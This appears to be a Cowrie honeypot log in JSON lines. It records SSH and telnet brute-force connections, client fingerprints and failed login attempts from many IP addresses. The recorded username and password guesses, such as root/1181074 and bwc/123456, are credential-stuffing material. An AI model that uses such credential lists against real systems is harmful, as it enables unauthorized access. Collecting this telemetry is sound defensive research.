{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:15:f4:eb:0e:90:f6:a8:3d:23:cf:33:84:d7:9e:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDnGsd7XGX4mrxie37/xcVG/jEUU27QGuycWsSDlAayo2lelI0Mgsltixyb1kkVX8z6gw1VePj/y+euNJHRolmog8tIWkFzT5ZJo0/pQGnjqu7vvlpILVufu0L9C6sk93fjK+xc7oc34CM6gBbo/Lk7UPvN7fKhA1BRg/KXOMjiEZ+slF60h9XGjPe9olWmBVXCGyCcSAAnEzRh9Mh9T7HYBVLaPioA8LMj92lNxSMmgp/47wlA2wZJidFHwA9pyIzmWtLqHRJkzBKBAo9ZBLZS5IFvZ6XtViNDmTWWVOAD+fDRIqu19lOKuw7vsxwgpqRPBCJhyP9J2btWLRRQ9RVgN74Y5JcDqGE/G4pBxbBWYuqQPOhtpMlm7Mkx9UR/gn6y8dhLbww25HRJT0SDNcFll7kZ9bcRigANdQFf/Gw0q1IWJJNpFj/G4BbFzCJ33Ahz2wEo0xLXzexwUEup3l4uXHQk9MseHiF5fxOAJHMri+3upBbN7rHsQI9hZclvfA5bjv238/88yIREZGsjrTwBxoGaY+tDbuUHa13k7iNjjS9KlE2EEUbzdhu3pAo8Vpc9QsTNfdi+TloE31Pb4/YYDcHn2Lt1j0jhHSz8inWkcdKVJUb7JMuZWbnG5w/a1xxyYnORHrs6EgeaJhU5LaO8o30+YTtQz4fFki3Qry2eCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:24.114402Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:2c:e5:52:d7:fa:eb:26:45:be:6d:39:1d:eb:90:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYPuzuS4esuWU4wQ2d6FWcjxbZpwvHX/04qzvmFMYr3UoXomYtQC9yQujRM3juhajMs/s1Pry3/XDhphhVpijuJttPvuBSi3CtzpYylOqADGhN83InBsQVV9v9blTI/Lotu9Q7QM1+AqQxXJenvgjtGtswUZQBLBD/xS19Qe9RDQpgQB1X4DqhE6V3kIKDPzMNy6rolpp/RboUV+RpDhxJLepaxbTU+wd9jrHHLphC/MzCmSno3aRHuTMbDk2IYdCIN7HIXMFufO/xD4i5rHSglEabZcvBU8XMRL4iPXiiSr4iBRG40/FGsmFiB/b13bA1w3O8o1lZCo7lqWIfJ9+V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:2c:e5:52:d7:fa:eb:26:45:be:6d:39:1d:eb:90:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:24.197636Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:2c:e5:52:d7:fa:eb:26:45:be:6d:39:1d:eb:90:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYPuzuS4esuWU4wQ2d6FWcjxbZpwvHX/04qzvmFMYr3UoXomYtQC9yQujRM3juhajMs/s1Pry3/XDhphhVpijuJttPvuBSi3CtzpYylOqADGhN83InBsQVV9v9blTI/Lotu9Q7QM1+AqQxXJenvgjtGtswUZQBLBD/xS19Qe9RDQpgQB1X4DqhE6V3kIKDPzMNy6rolpp/RboUV+RpDhxJLepaxbTU+wd9jrHHLphC/MzCmSno3aRHuTMbDk2IYdCIN7HIXMFufO/xD4i5rHSglEabZcvBU8XMRL4iPXiiSr4iBRG40/FGsmFiB/b13bA1w3O8o1lZCo7lqWIfJ9+V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:24.200555Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:24.280577Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":36514,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1fa538d2808","protocol":"ssh","message":"New connection: 4.213.224.194:36514 (10.17.0.5:22) [session: d1fa538d2808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:32.113000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:32.117361Z","src_ip":"4.213.224.194","session":"d1fa538d2808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:32.314908Z","src_ip":"4.213.224.194","session":"d1fa538d2808","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aris","password":"aris123","message":"login attempt [aris/aris123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:33.135845Z","src_ip":"4.213.224.194","session":"d1fa538d2808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:34.336476Z","src_ip":"4.213.224.194","session":"d1fa538d2808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":46346,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6967f20f46f","protocol":"ssh","message":"New connection: 190.128.201.18:46346 (159.203.135.109:22) [session: b6967f20f46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:37.171790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:37.179164Z","src_ip":"190.128.201.18","session":"b6967f20f46f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:37.313280Z","src_ip":"190.128.201.18","session":"b6967f20f46f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"picture","password":"picture","message":"login attempt [picture/picture] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:37.884474Z","src_ip":"190.128.201.18","session":"b6967f20f46f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:39.023593Z","src_ip":"190.128.201.18","session":"b6967f20f46f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36192,"dst_ip":"159.203.135.109","dst_port":23,"session":"63b88d885b53","protocol":"telnet","message":"New connection: 128.199.8.54:36192 (159.203.135.109:23) [session: 63b88d885b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:11.536438Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":52722,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fe0c4067668","protocol":"ssh","message":"New connection: 111.238.174.6:52722 (10.17.0.5:22) [session: 4fe0c4067668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:17.140515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:17.147198Z","src_ip":"111.238.174.6","session":"4fe0c4067668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:17.336052Z","src_ip":"111.238.174.6","session":"4fe0c4067668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"htest","password":"htest","message":"login attempt [htest/htest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:18.113794Z","src_ip":"111.238.174.6","session":"4fe0c4067668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:19.310256Z","src_ip":"111.238.174.6","session":"4fe0c4067668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50272,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fb45d082a96","protocol":"telnet","message":"New connection: 128.199.8.54:50272 (159.203.135.109:23) [session: 3fb45d082a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:27.272793Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60834,"dst_ip":"159.203.135.109","dst_port":22,"session":"f47faf45a138","protocol":"ssh","message":"New connection: 2.57.122.238:60834 (159.203.135.109:22) [session: f47faf45a138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:27.995525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:27.999954Z","src_ip":"2.57.122.238","session":"f47faf45a138","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:28.105551Z","src_ip":"2.57.122.238","session":"f47faf45a138","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:28.432515Z","src_ip":"2.57.122.238","session":"f47faf45a138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:29.540496Z","src_ip":"2.57.122.238","session":"f47faf45a138","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":55774,"dst_ip":"10.17.0.5","dst_port":22,"session":"f97922bd6fe6","protocol":"ssh","message":"New connection: 103.27.238.114:55774 (10.17.0.5:22) [session: f97922bd6fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:31.303534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:31.306640Z","src_ip":"103.27.238.114","session":"f97922bd6fe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:31.568712Z","src_ip":"103.27.238.114","session":"f97922bd6fe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1181074","message":"login attempt [root/1181074] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:32.355988Z","src_ip":"103.27.238.114","session":"f97922bd6fe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:33.624834Z","src_ip":"103.27.238.114","session":"f97922bd6fe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.22559118270874,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:44.761914Z","src_ip":"128.199.8.54","session":"63b88d885b53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":47714,"dst_ip":"159.203.135.109","dst_port":22,"session":"009359e8be4f","protocol":"ssh","message":"New connection: 91.211.95.158:47714 (159.203.135.109:22) [session: 009359e8be4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:46.147837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:46.155597Z","src_ip":"91.211.95.158","session":"009359e8be4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:46.301285Z","src_ip":"91.211.95.158","session":"009359e8be4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bwc","password":"123456","message":"login attempt [bwc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:46.917553Z","src_ip":"91.211.95.158","session":"009359e8be4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":52272,"dst_ip":"159.203.135.109","dst_port":22,"session":"b44806c5c630","protocol":"ssh","message":"New connection: 51.250.105.222:52272 (159.203.135.109:22) [session: b44806c5c630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:47.580467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:47.586407Z","src_ip":"51.250.105.222","session":"b44806c5c630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:47.718821Z","src_ip":"51.250.105.222","session":"b44806c5c630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:48.079899Z","src_ip":"91.211.95.158","session":"009359e8be4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:48.114933Z","src_ip":"51.250.105.222","session":"b44806c5c630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:49.248243Z","src_ip":"51.250.105.222","session":"b44806c5c630","protocol":"ssh"}
